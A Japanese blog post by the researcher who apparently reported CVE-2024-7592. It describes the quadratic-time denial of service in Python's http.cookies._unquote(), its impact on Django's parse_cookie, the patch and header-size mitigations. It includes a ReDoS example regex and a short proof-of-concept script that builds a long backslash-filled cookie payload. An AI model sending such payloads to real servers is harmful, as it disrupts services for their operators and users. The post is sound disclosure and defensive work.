Pythonの脆弱性CVE-2024-7592とDjangoへの影響

Pythonの脆弱性CVE-2024-7592とDjangoへの影響
今年、江ノ島で見た景色

こんにちは、ユンソクチャンと申します。最近、私がPythonチームに報告した脆弱性が公開されました。

この脆弱性は、CVSS 3.xの基準で10点中7.5点で、「高い」深刻度と評価されました。この問題を悪用すると、インターネット上のすべてのDjangoサーバーでDoS(サービス拒否)攻撃を引き起こす可能性がありました。

Pythonの正規表現とReDoS脆弱性

正規表現はテキスト処理でよく使われる強力なツールです。しかし、正規表現が複雑になると、解析や一致を見つける計算量が急激に増加することがあります。Pythonのreモジュールはバックトラッキングを使う方法で正規表現を処理します。この方法では、特定の入力で計算時間が指数関数的に増えることがあります。

import re

# the example of complex regex string
complex_regex = re.compile("(a+)+$")
def check_complex_string(s):
    return complex_regex.match(s)

payload = "aaaaaaaaaaaaaaaaaaaaax"
check_complex_string(payload)  # The payload makes backtracks

例えば、(a+)+bという正規表現の文字列に aaaaaaaaaaaaaaaaX のような文字列を入力すると、エンジンは多くの組み合わせを試し、時間がO(2^n)まで増加します( n は文字列の長さです)。これはDoS攻撃につながる可能性があり、このような攻撃をReDoS(Regular Expression Denial of Service)と言います。

CVE-2024-7592の分析

CVE-2024-7592は、Pythonの基本ライブラリであるhttp.cookiesモジュールの_unquote()メソッドで発見されたサービス拒否の脆弱性です。この脆弱性は、バックスラッシュのエスケープ文字を処理するための正規表現が非効率的であることから生じました。

# http/cookies.py
_OctalPatt = re.compile(r"\\[0-3][0-7][0-7]")
_QuotePatt = re.compile(r"[\\].")
def _unquote(str):
    # ... (code omitted for brevity)
    while 0 <= i < n:
        o_match = _OctalPatt.search(str, i)
        q_match = _QuotePatt.search(str, i)
        
        # ... (further processing)
        
        if q_match and (not o_match or k < j):     # QuotePatt matched
            res.append(str[i:k])
            res.append(str[k+1])
            i = k + 2
        # ...

このコードでは、不必要な線形検索がn回反復されていますう。このコードの最悪の場合、計算量が二次式(O(n^2))となり、ReDoS攻撃に対して脆弱になります。パッチが適用される前の_unquote()関数の実装は、GitHubのリポジトリで確認することができます。

cpython/Lib/http/cookies.py at d60b97a833fd3284f2ee249d32c97fc359d83486 · python/cpython
The Python programming language. Contribute to python/cpython development by creating an account on GitHub.

下は、この問題を報告するために私が生成したissueです。

CVE-2024-7592: Denial of Service Vulnerability in `http.cookies._unquote()` · Issue #123067 · python/cpython
Bug report Bug description: Description A potential Denial of Service (DoS) vulnerability, identified as CVE-2024-7592, has been discovered in the _unquote() method of the http.cookies module in Py...

Djangoへの影響

この問題はDjangoフレームワークにも影響を与えます。Djangoの http.cookieparse_cookie() 関数は、ユーザーからのクッキーを処理するときに_unquote()を使います。悪意のあるクッキー値を処理すると、サーバーの性能が大きく低下する可能性があります。たとえ404エラーのページでも、この関数が自動的に呼び出されるため、Djangoを使うすべてのウェブサービスが影響を受ける可能性があります。

from http import cookies

def parse_cookie(cookie):
    """
    Return a dictionary parsed from a `Cookie:` header string.
    """
    cookiedict = {}
    for chunk in cookie.split(";"):
        if "=" in chunk:
            key, val = chunk.split("=", 1)
        else:
            # Assume an empty name per
            # https://bugzilla.mozilla.org/show_bug.cgi?id=169091
            key, val = "", chunk
        key, val = key.strip(), val.strip()
        if key or val:
            # unquote using Python's algorithm.
            cookiedict[key] = cookies._unquote(val) # CVE-2024-7592 affected
    return cookiedict
django/http/cookie.py

PoC

下のコードでtriggerするこのができます。

#!/usr/bin/env python3

"""
A potential DoS vulnerability in Django's parse_cookie function.
"""

import time
from django.http import parse_cookie


# MAX_LENGTH = 8000
MAX_LENGTH = 20000


def test(payload: str) -> None:
    print('[DEBUG] Payload Size : %d bytes' % len(payload))

    start_time = time.time()
    parse_cookie(payload)
    end_time = time.time()

    print('[DEBUG] Elapsed Time : %lf seconds' % (end_time - start_time))


if __name__ == '__main__'
    payload = 'a=' + '"' + '\\' * MAX_LENGTH + '"' + ';'

    test(payload)

この脆弱性がどれほど深刻かを示すために、DjangoサーバがCVE-2024-7592の影響で発生されたDoSによって、どのぐらい速度が遅くなるかを示すPoCを作成しました。

0:00
/
4.5MB

Djangoサーバは以下の uwsgi.ini を通して実行されました。

[uwsgi]
http = :8000
module = simpleblog.wsgi
master = true
processes = 2
buffer-size = 8192

対策方法

Pythonチームはこの問題を修正するパッチを公開しました。

gh-123067: Fix quadratic complexity in parsing ”-quoted cookie values… · python/cpython@44e4583
… with backslashes (GH-123075) This fixes CVE-2024-7592.

_unquote()関数の正規表現を最適化し、悪意のある入力への対処を改善しました。Djangoを使っている場合、2024年9月6日にリリースされたPython 3.12.6にアップデートすることをおすすめします。

アップデートできない場合

システムの依存関係の問題で、すぐにPythonをアップデートできない場合でも、HTTPリクエストヘッダーのサイズを制限することで、DoS攻撃を十分に防ぐことができます。Apache、nginx、uWSGIなどのプロキシサーバーを利用して、HTTPヘッダーのサイズを制限できます。これらのサーバーは基本的に、Apacheは8KB、nginxとuWSGIはそれぞれ4KBの制限を持っています。このような設定は、ほとんどの異常なトラフィックを遮断し、サーバーのリソースを保護し、深刻なサービス停止を防ぐことができます。

しかし、8KBの基準でも、通常はマイクロ秒単位で処理できるクッキーの解析プロセスで、数百倍の時間遅延が発生する可能性があるため、パッチの適用が必須であると考えられます。

ch4n3-yoon - Overview
Web Security Reseacher / Majoring in computer engineering at Kyung Hee Univ. / Interested in *PWN* - ch4n3-yoon
自己紹介
個人情報 * 名前:ユン ソクチャン * 生年月日:2001.02.20. * イーメール:ch4n3.yoon@gmail.com * CTFで活動したニックネーム:ch4n3 x.comX (formerly Twitter) * LinkedIn: https://www.linkedin.com/in/seokchan-yoon/ * Github: https://github.com/ch4n3-yoon 学力 * 韓国デジタルメディア高等学校、ハッキング防御科、卒業 (2017.03. ~ 2020.02.) Graduated Korea Digi…